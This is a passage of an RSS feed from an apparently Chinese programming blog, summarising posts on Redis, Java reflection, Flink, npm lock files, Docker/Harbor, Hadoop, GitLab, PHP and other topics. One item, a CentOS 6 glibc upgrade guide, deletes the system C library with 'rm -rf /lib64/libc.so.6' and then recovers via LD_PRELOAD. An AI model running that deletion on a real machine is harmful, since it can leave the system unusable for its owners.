      <link>https://bchobby.github.io/posts/3a27462427509a67705a88a68238f2b6/</link>
      <pubDate>Thu, 12 Nov 2020 17:27:40 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/3a27462427509a67705a88a68238f2b6/</guid>
      <description>linux下安装redis报Please select the redis executable path []Mmmm… it seems like you don’t have a redis executable. Did you run make install yet? 问题很明显[ ],里没有东西，这设置系统程序时其他[ ]里都是有路径的。&#xA;需要在[ ]没有路径下加入自己的/src/redis-server，这个路径一般是自己解压或者安装的路径。&#xA;Please select the redis executable path [] /opt/app/redis-6.0.9/src/redis-server&#xA;剩下的就是一路回车就可以了&#xA;报个错网上没找到明显的正确答案，现在分享一下。</description>
    </item>
    <item>
      <title>远程服务器 关掉连接工具 依然执行任务</title>
      <link>https://bchobby.github.io/posts/80d58e5addece49038dcb2e5e9a42385/</link>
      <pubDate>Thu, 12 Nov 2020 08:34:01 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/80d58e5addece49038dcb2e5e9a42385/</guid>
      <description>【远程服务器 关掉连接工具 依然执行任务】 远程服务器 关掉连接工具 依然执行任务 以阿里云服务器 和 Xshell 运行 java 代码为例&#xA;先运行任务&#xA;之后ctrl + z&#xA;之后 bg 1&#xA;最后 disown -h %1&#xA;之后查看 ps -aux</description>
    </item>
    <item>
      <title>Java反射之Method的invoke方法实现</title>
      <link>https://bchobby.github.io/posts/1f98c9639ea4736d95fb8969d3d2a80d/</link>
      <pubDate>Wed, 11 Nov 2020 21:55:35 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/1f98c9639ea4736d95fb8969d3d2a80d/</guid>
      <description>使用reflect（反射）包下面的Field和Method类获得类的属性和方法，并对属性和方法进行操作。&#xA;在框架中经常会会用到method.invoke()方法，用来执行某个的对象的目标方法。以前写代码用到反射时，总是获取先获取Method，然后传入对应的Class实例对象执行方法。然而前段时间研究invoke方法时，发现invoke方法居然包含多态的特性，这是以前没有考虑过的一个问题。那么Method.invoke()方法的执行过程是怎么实现的？它的多态又是如何实现的呢？&#xA;本文将从java和JVM的源码实现深入探讨invoke方法的实现过程。&#xA;首先给出invoke方法多态特性的演示代码：&#xA;public class MethodInvoke { public static void main(String[] args) throws Exception { Method animalMethod = Animal.class.getDeclaredMethod(&#34;print&#34;); Method catMethod = Cat.class.getDeclaredMethod(&#34;print&#34;); Animal animal = new Animal(); Cat cat = new Cat(); animalMethod.invoke(cat); animalMethod.invoke(animal); catMethod.invoke(cat); catMethod.invoke(animal); } } class Animal { public void print() { System.out.println(&#34;Animal.print()&#34;); } } class Cat extends Animal { @Override public void print() { System.out.println(&#34;Cat.print()&#34;); } } 代码中，Cat类覆盖了父类Animal的print()方法， 然后通过反射分别获取print()的Method对象。最后分别用Cat和Animal的实例对象去执行print()方法。其中animalMethod.invoke(animal)和catMethod.invoke(cat)，示例对象的真实类型和Method的声明Classs是相同的，按照预期打印结果；animalMethod.invoke(cat)中，由于Cat是Animal的子类，按照多态的特性，子类调用父类的的方法，方法执行时会动态链接到子类的实现方法上。因此，这里会调用Cat.print()方法；而catMethod.invoke(animal)中，传入的参数类型Animal是父类，却期望调用子类Cat的方法，因此这一次会抛出异常。代码打印结果为：&#xA;Cat.print() Animal.print() Cat.print() Exception in thread &#34;</description>
    </item>
    <item>
      <title>Flink基础：实时处理管道与ETL</title>
      <link>https://bchobby.github.io/posts/7e51a64a811dc50238fd290ca43f7b8f/</link>
      <pubDate>Wed, 11 Nov 2020 21:23:00 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/7e51a64a811dc50238fd290ca43f7b8f/</guid>
      <description>​&#xA;往期推荐：&#xA;Flink基础：入门介绍&#xA;Flink基础：DataStream API&#xA;Flink深入浅出：资源管理&#xA;Flink深入浅出：部署模式&#xA;Flink深入浅出：内存模型&#xA;Flink深入浅出：JDBC Source从理论到实战&#xA;Flink深入浅出：Sql Gateway源码分析&#xA;Flink深入浅出：JDBC Connector源码分析&#xA;Flink的经典使用场景是ETL，即Extract抽取、Transform转换、Load加载，可以从一个或多个数据源读取数据，经过处理转换后，存储到另一个地方，本篇将会介绍如何使用DataStream API来实现这种应用。注意Flink Table和SQL api 会很适合来做ETL，但是不妨碍从底层的DataStream API来了解其中的细节。&#xA;1 无状态的转换 无状态即不需要在操作中维护某个中间状态，典型的例子如map和flatmap。&#xA;map() 下面是一个转换操作的例子，需要根据输入数据创建一个出租车起始位置和目标位置的对象。首先定义出租车的位置对象：&#xA;public static class EnrichedRide extends TaxiRide { public int startCell; public int endCell; public EnrichedRide() {} public EnrichedRide(TaxiRide ride) { this.rideId = ride.rideId; this.isStart = ride.isStart; ... this.startCell = GeoUtils.mapToGridCell(ride.startLon, ride.startLat); this.endCell = GeoUtils.mapToGridCell(ride.endLon, ride.endLat); } public String toString() { return super.toString() + &#34;,&#34; + Integer.</description>
    </item>
    <item>
      <title>TypeError: __init__() got an unexpected keyword argument ‘ragged‘</title>
      <link>https://bchobby.github.io/posts/6c9a4eb28d61c0060eb03f164cc948b1/</link>
      <pubDate>Wed, 11 Nov 2020 18:00:30 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/6c9a4eb28d61c0060eb03f164cc948b1/</guid>
      <description> from keras.models import load_model 改为 from tensorflow.keras.models import load_model </description>
    </item>
    <item>
      <title>package-lock.json不需要写进 .gitignore</title>
      <link>https://bchobby.github.io/posts/2607339809332d9b782f631356c1fd39/</link>
      <pubDate>Wed, 11 Nov 2020 16:54:14 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/2607339809332d9b782f631356c1fd39/</guid>
      <description> 在我们的前端项目中，npm install之后会自动生成package-lock.json文件，不要把这个加入.gitignore&#xA;因为我们实践出过一个问题，我们将package-lock.json放入.gitignore文件中，虽然我们把package.json中依赖的版本号写死了，但是有一天突然发现在编译机编译失败了，用之前编译成功的代码去编译也失败了，很奇怪。&#xA;然后尝试本地复现这个问题，重新编译没有问题，但是当我们把node_modeuls和package-lock.json文件都删掉之后就出现了这个问题，但是把原来的package-lock.json文件加回来就好了。&#xA;所以建议不要把package-lock.json加入.gitignore&#xA;知乎上有人是这么说的：&#xA;npm 5.x 发布以来到现在的5.6.0 lock的作用变更过好多次， 自npm 5.0版本发布以来，npm i的规则发生了三次变化。 1、npm 5.0.x 版本，不管package.json怎么变，npm i 时都会根据lock文件下载package-lock.json file not updated after package.json file is changed · Issue #16866 · npm/npm这个 issue 控诉了这个问题，明明手动改了package.json，为啥不给我升级包！然后就导致了5.1.0的问题... 2、5.1.0版本后 npm install 会无视lock文件 去下载最新的npm然后有人提了这个issue why is package-lock being ignored? · Issue #17979 · npm/npm控诉这个问题，最后演变成5.4.2版本后的规则。 3、5.4.2版本后 why is package-lock being ignored? · Issue #17979 · npm/npm大致意思是，如果改了package.json，且package.json和lock文件不同，那么执行`npm i`时npm会根据package中的版本号以及语义含义去下载最新的包，并更新至lock。如果两者是同一状态，那么执行`npm i `都会根据lock下载，不会理会package实际包的版本是否有新。 也就是说保证你的npm版本在5.4.2以后就不会有lock的问题。&#xA;参考链接 https://www.zhihu.com/question/264560841 </description>
    </item>
    <item>
      <title>安装harbor时ERROR: for nginx  Cannot start service proxy: driver failed programming-markdown</title>
      <link>https://bchobby.github.io/posts/fbeed8ba5ab80628719edaaed61997c2/</link>
      <pubDate>Wed, 11 Nov 2020 15:34:32 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/fbeed8ba5ab80628719edaaed61997c2/</guid>
      <description>问题现象 安装harbor时ERROR: for nginx Cannot start service proxy: driver failed programming external connectivity on endpoint nginx (d55f2dc113ed3cf55606bfb054bf0cee9deec6fe4529e99f2180fddd3d6821e8): Bind for 0.0.0.0:80 failed: port is already allocated&#xA;这是因为端口被占用了 可以 docker ps -a 查看哪个占用了这个端口号，stop停止掉或者修改一下就可以了</description>
    </item>
    <item>
      <title>python语言属于下列哪一种类型的语言-下列数据类型中,Python不支持的是哪一项?(        )_学小易找答案...</title>
      <link>https://bchobby.github.io/posts/4962363c53fab7b38820179e2e0214bc/</link>
      <pubDate>Wed, 11 Nov 2020 14:56:17 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/4962363c53fab7b38820179e2e0214bc/</guid>
      <description>【单选题】下列关于Python版本的说法中,正确的哪一项?&#xA;【简答题】language points.ppt&#xA;【单选题】Python语言属于以下哪一种语言?&#xA;【单选题】Python 语句x=&#34;char’;y=2,print(x+y)输出的结果是哪一项?()&#xA;【简答题】跳转语句break和continue的区别是什么?&#xA;【简答题】电动自行车的电池不能充电了,可能是怎么回事?请上网搜集相关资料上传&#xA;【单选题】执行下面的操作后,lst的值是多少? lst1=[3,4,5,6] lst2=lst1 lst1[2]=100 print(lst2)&#xA;【单选题】以下代码段,运行结果正确的是哪?() i=3; j=0; k=3.2; if (i&#xA;【简答题】简述Python程序的执行过程。&#xA;【简答题】请列举IDLE编程环境下快捷键的功能。&#xA;【单选题】以下代码运行结果正确的是哪一项?() x=2 if x:print(True) else:print(False)&#xA;【编程题】输人两个正整数m和n,求其最大公约数和最小公倍数。&#xA;【编程题】在列表中给出若干字符串,计算并输出最大字符串的长度。&#xA;【单选题】Python语句print(type([&#34;a&#34;,&#34;1&#34;,2,3]))的输出结果是哪一项?&#xA;【简答题】手机插上充电器却没有显示充电,可以用万用表检测吗?请上网搜一下&#xA;【简答题】完成13,14页第10,11题,拍照上传&#xA;【编程题】编写程序,根据给出的三角形的三个边,输出三角形的面积。&#xA;【单选题】以下代码段,运行结果正确的是哪一项?() a=17 b=6 result=a%b if(a%b&amp;gt;4) else a/b print(result)&#xA;【编程题】从键盘交互式输入-一个人的18位的身份证号,以类似于“2001年09月12日”的形式 输出该人的出生日期。&#xA;【简答题】Python的常用数值类型有哪些,举例说明。&#xA;【单选题】下列选项中,正确定义了一个字典的是哪个选项?&#xA;【编程题】&#xA;【单选题】下列代码的输出结果是哪一项?() print(&#34;数量{1},单价{0}&#34;。format(23.4,34.2))&#xA;【编程题】给定某一字符串s,对其中的每一 字符c大小写转换:如果c是大写字母,则将它转换 成小写字母;如果c是小写字母,则将它转换成大写字母;如果c不是字母,则不转换。&#xA;【编程题】一个数如果恰好等于它的因子这和,这个数就称为“完数”,例如,6的因子为1,2,3, 而6=1+2+3,因此6就是“完数”。编程找出100内的所有完数。&#xA;【单选题】下列选项中,不属于Python循环结构的是哪一项?()&#xA;【单选题】下列选项中,不属于字典操作的方法是哪一项?&#xA;【简答题】format()方法的参数有哪些?&#xA;【编程题】编写程序,根据输入的三科成绩值,计算平均分和总分&#xA;【单选题】下列数据类型中,Python不支持的是哪一项?( )&#xA;【单选题】python语句temp=[&#34;a&#34;,&#34;1&#34;,2,3,None];print(len(temp))的输出结果是哪一项?&#xA;【简答题】挫折应对团队活动的感悟 (5.0分)&#xA;【简答题】简述Python标识符的命名规则。&#xA;【简答题】编写程序,给出一个字符串,将其中的字符&#34;E&#34;用空格替换输出。&#xA;【单选题】下列选项的功能是求两数值x、y中最大数,不正确的是哪一项?()&#xA;【单选题】下列计算机语言中,不属于解释型语言的是哪一项?&#xA;【编程题】编写程序,给出一个英文句子,统计单词个数。&#xA;【简答题】简述程序的编译方式和解释方式的区别。&#xA;【简答题】整数的二进制、八进制、十六进制都用什么格式表示?将十进制数转换为二进制、八进制、十六进制的函数是什么?&#xA;【简答题】简述程序设计的IPO模式的特点。</description>
    </item>
    <item>
      <title>python剪刀石头布编程思路-python练习案例--剪刀石头布</title>
      <link>https://bchobby.github.io/posts/055db14c2f7c511a1cb4798a0ad589e1/</link>
      <pubDate>Wed, 11 Nov 2020 14:41:24 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/055db14c2f7c511a1cb4798a0ad589e1/</guid>
      <description>今天探讨了下关于python的一个练习剪刀石头布，可能程序还是多少有些不足，欢迎各位批评指正：&#xA;代码如下：&#xA;import random&#xA;def main():&#xA;#将玩家和机器视为两个参量，机器产生随机数1-3，代表着&#34;1&#34;:&#34;石头&#34;,&#34;2&#34;:&#34;剪刀&#34;,&#34;3&#34;:&#34;布&#34;&#xA;#然后玩家可以输入进行模拟比赛了&#xA;print(&#34;*******************begin*******************&#34;)&#xA;#先设置一个空表以及初始化infos&#xA;player_info = []&#xA;player_score = 0&#xA;infos = {&#34;1&#34;:&#34;石头&#34;,&#34;2&#34;:&#34;剪刀&#34;,&#34;3&#34;:&#34;布&#34;}&#xA;while True:&#xA;#控制程序可以一直比赛下去&#xA;computer = str(random.randint(1,3))&#xA;player = input(&#34;请选择：1-石头，2-剪刀，3-布：&#34;)&#xA;if player not in [&#34;1&#34;,&#34;2&#34;,&#34;3&#34;]:&#xA;print(&#34;输入有误，请重新输入：&#34;)&#xA;continue&#xA;else:&#xA;ret = (player,computer)&#xA;player_info.append(ret)&#xA;if ret==(&#34;1&#34;,&#34;2&#34;) or ret==(&#34;2&#34;,&#34;3&#34;) or ret==(&#34;3&#34;,&#34;1&#34;):&#xA;print(&#34;玩家赢了&#34;)&#xA;player_score += 1&#xA;elif player == computer:&#xA;print(&#34;平局&#34;)&#xA;else:&#xA;print(&#34;机器赢了&#34;)&#xA;player_score -= 1&#xA;print(&#34;对战双方结果：玩家：%s,机器；%s&#34;%(infos[player],infos[computer]))&#xA;#设置结束条件&#xA;choice = input(&#34; 是否继续游戏?（yes/no）:&#34;)&#xA;if choice==&#34;no&#34;:&#xA;break</description>
    </item>
    <item>
      <title>微信小程序-页面间如何进行传递数据(通信)</title>
      <link>https://bchobby.github.io/posts/33bb644feb95d461a75b35aaf0ee7719/</link>
      <pubDate>Wed, 11 Nov 2020 08:11:39 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/33bb644feb95d461a75b35aaf0ee7719/</guid>
      <description>前言 在小程序中组件与组件之间的通信是通过在引用组件处,在自定义组件上添加自定义属性实现的,子组件内部通过properties进行接收&#xA;更多关于组件与组件之间的通信可参考小程序-实现自定义组件以及自定义组件间的通信这篇文章&#xA;那页面与页面之间又如何传递数据?&#xA;您将阅读完本文后,将收获到:&#xA;页面间跳转携带参数(通过url的方式)传递数据&#xA;如何返回上一级页面,并刷新页面呢&#xA;使用全局app页面定义的变量实现数据的传递&#xA;使用本地缓存数据&#xA;使用 eventChannel 向被打开页面传送数据(wx.navigateTo高级用法)&#xA;01 页面间通过 url 方式传递数据&#xA;在小程序中当中,在父页面,通过url方式传递参数到子页面,是一种比较常见的做法&#xA;如下示例所示:应用场景&#xA;点击列表页面,进入详情页&#xA;动态改变详情页面的navBar中的title&#xA;扫码即可体验&#xA;父页面实例代码 &amp;lt;view&amp;gt; &amp;lt;view class=&#34;list-wrap&#34;&amp;gt; &amp;lt;block wx:for=&#34;{{listDatas}}&#34; wx:key=&#34;index&#34;&amp;gt; &amp;lt;view bindtap=&#34;onListTap&#34; data-list=&#34;{{item}}&#34;&amp;gt; &amp;lt;text&amp;gt;{{ item.list_text}}&amp;lt;/text&amp;gt; &amp;lt;/view&amp;gt; &amp;lt;/block&amp;gt; &amp;lt;/view&amp;gt; &amp;lt;/view&amp;gt; css代码&#xA;.list-wrap { display: flex; justify-content: space-between; flex-wrap: wrap; padding: 15px 15px; } .list-wrap view { width: 30%; height: 300rpx; border: 1px solid #ccc; margin-bottom: 15px; text-align: center; line-height: 300rpx; font-size: 28rpx; } js代码</description>
    </item>
    <item>
      <title>springcloud项目改名</title>
      <link>https://bchobby.github.io/posts/1c6404032aa65642fa5fd9aa57b93396/</link>
      <pubDate>Tue, 10 Nov 2020 23:43:22 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/1c6404032aa65642fa5fd9aa57b93396/</guid>
      <description>如果本文对您有所帮助，可以点一下赞👍&#xA;本文只是学习笔记，欢迎指错，转载标明出处&#xA;1、原来项目结构 2、子模块改名 2.1rename操作&#xA;2.2修改子模块的pom文件&#xA;2.3修改父模块pom文件module里面子模块的名称，如果没有modules，就自己加上去&#xA;3、父模块改名字 3.1右键中父模块，Rename操作，结果如下图&#xA;3.2修改pom文件&#xA;3.3修改子模块parent标签父模块的名称（可选）&#xA;3.4退出idea&#xA;3.5重命名项目文件夹名称&#xA;3.6找到项目根目录，删除.idea文件&#xA;3.7打开idea重新导入项目即可&#xA;3.8由于删除了.idea文件，所有idea存储项目的一些信息也没有了，需要重新设置jdk版本和maven仓库这些</description>
    </item>
    <item>
      <title>C# 自定义控件Chart（可实现多限象显示）</title>
      <link>https://bchobby.github.io/posts/dad86fac62b3733b6a9a14f2bbfb478a/</link>
      <pubDate>Tue, 10 Nov 2020 13:30:33 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/dad86fac62b3733b6a9a14f2bbfb478a/</guid>
      <description>四象限波形显示控件 视图展示创建步骤给自定义控件添加事件添加一个图片控件（pictureBox1）代码部分 视图展示 十字坐标轴方式&#xA;一象限坐标轴方式&#xA;二象限坐标轴方式&#xA;创建步骤 ##创建自定义控件（名字可随意）&#xA;给自定义控件添加事件 以上个事件一个就Load（初始化）、背景颜色发生改变（不多说）、控件大小发生改变（支持大小拖动）&#xA;添加一个图片控件（pictureBox1） 直接从工具箱中拖到自定义控件的绘制板就OK啦！&#xA;记得将pictureBox1.Dock=Fill;&#xA;代码部分 下面有点儿长我直接拷贝整个代码的（有些同学控件名字不一样要修改哦）&#xA;注意长篇出现 ↓↓↓↓↓↓↓↓↓↓&#xA;using System; using System.ComponentModel; using System.Drawing; using System.Windows.Forms; using System.Drawing.Drawing2D; namespace Char控件使用 { public partial class New_Chart : UserControl { //private int 上边距 = 20, 下边距 = 35; //private int 左边距 = 50, 右边距 = 20; //private int X轴格数 = 6, Y轴格数 = 6; //private double X_Min=-50, X_Max=50,Y_Min=-50,Y_Max=50; private int 线数量 = 1; private float X_0点位置, Y_0点位置, X_轴长, Y_轴长; private Graphics g; private Bitmap bmp; public DrLine[] dr_line; #region [Description(&#34;</description>
    </item>
    <item>
      <title>【大数据开发】Structured Streaming报错Pathname /C:/Users/.... from C:/Users/... is not a valid DFS filename.</title>
      <link>https://bchobby.github.io/posts/581c64306d364de6e74e7bf464a5cb53/</link>
      <pubDate>Mon, 09 Nov 2020 21:52:15 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/581c64306d364de6e74e7bf464a5cb53/</guid>
      <description>Exception in thread &#34;main&#34; java.lang.IllegalArgumentException: Pathname /C:/Users/18870/AppData/Local/Temp/temporary-acc01e20-1ddb-4bfb-bb81-89c2657e97e5 from C:/Users/18870/AppData/Local/Temp/temporary-acc01e20-1ddb-4bfb-bb81-89c2657e97e5 is not a valid DFS filename. at org.apache.hadoop.hdfs.DistributedFileSystem.getPathName(DistributedFileSystem.java:196) at org.apache.hadoop.hdfs.DistributedFileSystem.access$000(DistributedFileSystem.java:105) at org.apache.hadoop.hdfs.DistributedFileSystem$17.doCall(DistributedFileSystem.java:870) at org.apache.hadoop.hdfs.DistributedFileSystem$17.doCall(DistributedFileSystem.java:866) at org.apache.hadoop.fs.FileSystemLinkResolver.resolve(FileSystemLinkResolver.java:81) at org.apache.hadoop.hdfs.DistributedFileSystem.mkdirsInternal(DistributedFileSystem.java:866) at org.apache.hadoop.hdfs.DistributedFileSystem.mkdirs(DistributedFileSystem.java:859) at org.apache.hadoop.fs.FileSystem.mkdirs(FileSystem.java:1819) at org.apache.spark.sql.execution.streaming.StreamExecution.&amp;lt;init&amp;gt;(StreamExecution.scala:90) at org.apache.spark.sql.execution.streaming.MicroBatchExecution.&amp;lt;init&amp;gt;(MicroBatchExecution.scala:48) at org.apache.spark.sql.streaming.StreamingQueryManager.createQuery(StreamingQueryManager.scala:281) at org.apache.spark.sql.streaming.StreamingQueryManager.startQuery(StreamingQueryManager.scala:322) at org.apache.spark.sql.streaming.DataStreamWriter.start(DataStreamWriter.scala:325) at Log2Console$.main(Log2Console.scala:36) at Log2Console.main(Log2Console.scala) 感谢国际友人帮助&#xA;添加了core-site.xml文件到resources中&#xA;一直以为是.option(“startingOffsets”, “earliest”)有问题，添加了.option(“checkpointLocation”, path)也不行&#xA;没办法听从国际友人安排，给这个文件改个名字就好了</description>
    </item>
    <item>
      <title>IntelliJ IDEA设置JVM运行参数</title>
      <link>https://bchobby.github.io/posts/ca5faae18bbc20cf1635f84a7f45273c/</link>
      <pubDate>Mon, 09 Nov 2020 21:11:46 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/ca5faae18bbc20cf1635f84a7f45273c/</guid>
      <description>打开 IDEA 安装目录，看到有一个 bin 目录，其中有两个 vmoptions 文件，需针对不同的JDK进行配置：&#xA;32 位：idea.exe.vmoptions&#xA;64 位：idea64.exe.vmoptions&#xA;-Xms512m -Xmx1024m -XX:MaxPermSize=512m -XX:ReservedCodeCacheSize=225m -XX:+UseConcMarkSweepGC -XX:SoftRefLRUPolicyMSPerMB=50 -ea -Dsun.io.useCanonCaches=false -Djava.net.preferIPv4Stack=true 上面列出的是idea64.exe.vmoptions的默认内容，我们可以根据需要进行修改。&#xA;下面内容转自http://www.cnblogs.com/jack204/archive/2012/07/02/2572932.html&#xA;各参数的含义分别为：&#xA;一、设置JVM内存设置&#xA;1. 设置JVM内存的参数有四个：&#xA;-Xmx Java Heap最大值，默认值为物理内存的1/4，最佳设值应该视物理内存大小及计算机内其他内存开销而定；&#xA;-Xms Java Heap初始值，Server端JVM最好将-Xms和-Xmx设为相同值，开发测试机JVM可以保留默认值；&#xA;-Xmn Java Heap Young区大小，不熟悉最好保留默认值；&#xA;-Xss 每个线程的Stack大小，不熟悉最好保留默认值；&#xA;2. 如何设置JVM内存分配：&#xA;（1）当在命令提示符下启动并使用JVM时（只对当前运行的类Test生效）：&#xA;java -Xmx128m -Xms64m -Xmn32m -Xss16m Test&#xA;（2）当在集成开发环境下（如eclipse）启动并使用JVM时：&#xA;a. 在eclipse根目录下打开eclipse.ini，默认内容为（这里设置的是运行当前开发工具的JVM内存分配）：&#xA;-vmargs -Xms40m -Xmx256m -vmargs表示以下为虚拟机设置参数，可修改其中的参数值，也可添加-Xmn，-Xss，另外，eclipse.ini内还可以设置非堆内存，如：-XX:PermSize=56m，-XX:MaxPermSize=128m。&#xA;此处设置的参数值可以通过以下配置在开发工具的状态栏显示：&#xA;在eclipse根目录下创建文件options，文件内容为：org.eclipse.ui/perf/showHeapStatus=true&#xA;修改eclipse根目录下的eclipse.ini文件，在开头处添加如下内容：&#xA;-debug options -vm javaw.exe 重新启动eclipse，就可以看到下方状态条多了JVM信息。&#xA;b. 打开eclipse－窗口－首选项－Java－已安装的JRE（对在当前开发环境中运行的java程序皆生效）&#xA;编辑当前使用的JRE，在缺省VM参数中输入：-Xmx128m -Xms64m -Xmn32m -Xss16m&#xA;c. 打开eclipse－运行－运行－Java应用程序（只对所设置的java类生效）</description>
    </item>
    <item>
      <title>centos6安装glibc2.14</title>
      <link>https://bchobby.github.io/posts/f8c2a42b1d89bda005f82a2775c8741c/</link>
      <pubDate>Mon, 09 Nov 2020 18:22:16 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/f8c2a42b1d89bda005f82a2775c8741c/</guid>
      <description>centos6安装glibc2.14 1、源码编译安装glibc1.1、编译安装glibc1.2、备份原有动态链接后删除旧动态链接1.3、补救(因为上面删除之后，linux基本不能敲，所以下面这条命令，直接复制即可)1.4、创建新的软连接1.5、检查是否安装成功1.6、报错问题解决 2、make常用命令 1、源码编译安装glibc 1.1、编译安装glibc 一定要用root用户哦！！！&#xA;wget https://ftp.gnu.org/gnu/glibc/glibc-2.14.tar.gz tar -xzvf glibc-2.14.tar.gz # 进入文件夹 cd glibc-2.14 # 在glibc-2.14目录下建立build文件夹 mkdir build cd build # 配置glibc并设置当前glibc-2.14安装目录 ../configure --prefix=/usr/local/glibc-2.14 # 编译安装glibc-2.14库 make make install 1.2、备份原有动态链接后删除旧动态链接 # 备份 cp /lib64/libc.so.6 /lib64/libc.so.backup # 谨慎操作后不要乱动 rm -rf /lib64/libc.so.6 1.3、补救(因为上面删除之后，linux基本不能敲，所以下面这条命令，直接复制即可) LD_PRELOAD=/usr/local/glibc-2.14/lib/libc-2.14.so ln -s /usr/local/glibc-2.14/lib/libc-2.14.so /lib64/libc.so.6 1.4、创建新的软连接 ln -s /usr/local/glibc-2.14/lib/libc-2.14.so /lib64/libc.so.6 1.5、检查是否安装成功 strings /lib64/libc.so.6 | grep GLIBC 1.6、报错问题解决 1、Can’t open configuration file /usr/local/glibc-2.14/etc/ld.so.conf: No such file or directory</description>
    </item>
    <item>
      <title>hadoop任务执行时，报错</title>
      <link>https://bchobby.github.io/posts/4d3719f0982922cf04cc1730c24e0e20/</link>
      <pubDate>Mon, 09 Nov 2020 09:20:13 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/4d3719f0982922cf04cc1730c24e0e20/</guid>
      <description>2020-11-06 03:42:43,205 ERROR org.apache.hadoop.yarn.server.resourcemanager.scheduler.SchedulerApplicationAttempt: Error trying to assign container token and NM token to an allocated container container_1604647286933_0002_01_000001&#xA;java.lang.IllegalArgumentException: java.net.UnknownHostException: k8s-node1&#xA;at org.apache.hadoop.security.SecurityUtil.buildTokenService(SecurityUtil.java:378)&#xA;at org.apache.hadoop.yarn.server.utils.BuilderUtils.newContainerToken(BuilderUtils.java:261)&#xA;at org.apache.hadoop.yarn.server.resourcemanager.security.RMContainerTokenSecretManager.createContainerToken(RMContainerTokenSecretManager.java:220)&#xA;at org.apache.hadoop.yarn.server.resourcemanager.scheduler.SchedulerApplicationAttempt.pullNewlyAllocatedContainersAndNMTokens(SchedulerApplicationAttempt.java:456)&#xA;at org.apache.hadoop.yarn.server.resourcemanager.scheduler.common.fica.FiCaSchedulerApp.getAllocation(FiCaSchedulerApp.java:270)&#xA;at org.apache.hadoop.yarn.server.resourcemanager.scheduler.capacity.CapacityScheduler.allocate(CapacityScheduler.java:988)&#xA;at org.apache.hadoop.yarn.server.resourcemanager.rmapp.attempt.RMAppAttemptImpl$AMContainerAllocatedTransition.transition(RMAppAttemptImpl.java:991)&#xA;at org.apache.hadoop.yarn.server.resourcemanager.rmapp.attempt.RMAppAttemptImpl$AMContainerAllocatedTransition.transition(RMAppAttemptImpl.java:983)&#xA;at org.apache.hadoop.yarn.state.StateMachineFactory$MultipleInternalArc.doTransition(StateMachineFactory.java:385)&#xA;at org.apache.hadoop.yarn.state.StateMachineFactory.doTransition(StateMachineFactory.java:302)&#xA;at org.apache.hadoop.yarn.state.StateMachineFactory.access$300(StateMachineFactory.java:46)&#xA;at org.apache.hadoop.yarn.state.StateMachineFactory$InternalStateMachine.doTransition(StateMachineFactory.java:448)&#xA;at org.apache.hadoop.yarn.server.resourcemanager.rmapp.attempt.RMAppAttemptImpl.handle(RMAppAttemptImpl.java:808)&#xA;at org.apache.hadoop.yarn.server.resourcemanager.rmapp.attempt.RMAppAttemptImpl.handle(RMAppAttemptImpl.java:108)&#xA;at org.apache.hadoop.yarn.server.resourcemanager.ResourceManager$ApplicationAttemptEventDispatcher.handle(ResourceManager.java:803)&#xA;at org.apache.hadoop.yarn.server.resourcemanager.ResourceManager$ApplicationAttemptEventDispatcher.handle(ResourceManager.java:784)&#xA;at org.apache.hadoop.yarn.event.AsyncDispatcher.dispatch(AsyncDispatcher.java:184)&#xA;at org.apache.hadoop.yarn.event.AsyncDispatcher$1.run(AsyncDispatcher.java:110)&#xA;有时，ResourceManager去找nodeManager的时候，会通过hostname查找具体机器，而非slave文件中的node** 但是修改了对应nodeManager的host还是不能通过node**查找。&#xA;这样可以修改ResourceManager的hosts文件 指定hostname也指向node**的机器IP。这样就可以规避了此类问题</description>
    </item>
    <item>
      <title>执行gitlab-ctl start 提示全部启动失败解决办法</title>
      <link>https://bchobby.github.io/posts/78eaa0b085adb4776ae46e0a1f1f9c22/</link>
      <pubDate>Sun, 08 Nov 2020 13:10:42 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/78eaa0b085adb4776ae46e0a1f1f9c22/</guid>
      <description>[root@localhost gitlab]# gitlab-ctl start&#xA;fail: alertmanager: runsv not running&#xA;fail: gitaly: runsv not running&#xA;fail: gitlab-exporter: runsv not running&#xA;fail: gitlab-workhorse: runsv not running&#xA;fail: grafana: runsv not running&#xA;fail: logrotate: runsv not running&#xA;fail: nginx: runsv not running&#xA;fail: node-exporter: runsv not running&#xA;fail: postgres-exporter: runsv not running&#xA;fail: postgresql: runsv not running&#xA;fail: prometheus: runsv not running&#xA;fail: redis: runsv not running&#xA;fail: redis-exporter: runsv not running</description>
    </item>
    <item>
      <title>php原生类使用</title>
      <link>https://bchobby.github.io/posts/3fb893a9385abcad9a09b1e57fd6758a/</link>
      <pubDate>Sat, 07 Nov 2020 15:27:55 +0800</pubDate>
      <guid>https://bchobby.github.io/posts/3fb893a9385abcad9a09b1e57fd6758a/</guid>
      <description>类就是用{}包着的&#xA;对象也可以说是函数，&#xA;一个大类包着多个对象（函数）&#xA;看列子：&#xA;&amp;lt;?php //声明类的方法,我们用class来声明我们的类. // class 类名 { 类的内容 } // 注:这里的$this是值当前的类 class test{ var $a; var $b = &#34;111&#34;; var $c = &#34;我是c&#34;; function name(){ echo $this-&amp;gt;c;//指向当前类的c } function age(){ echo &#34;父类的年龄&#34;; } }; // 引用类 new方法 $all = new test; // $a = $all-&amp;gt;a;//声明a,因a没有值,页面什么也不输出 // echo $a; // $a = $all-&amp;gt;b;//这就输出111,因为$b有值 // echo $a; // $a = $all-&amp;gt;name();//调用函数 // 子父类问题 // 我们可以继承test类/继承之后我们的可以使用父类里面的对象(函数),也可以再次定义他的对象(函数)继承extends class two extends test{ function name(){ echo &#34;</description>
    </item>
    <item>
      <title>python3 文件操作（列出、创建、删除、复制）  文件打开模式</title>
      <link>https://bchobby.github.io/posts/370136ccb861122d4d59d870d644c72f/</link>
      <pubDate>Fri, 06 Nov 2020 21:11:23 +0800</pubDate>
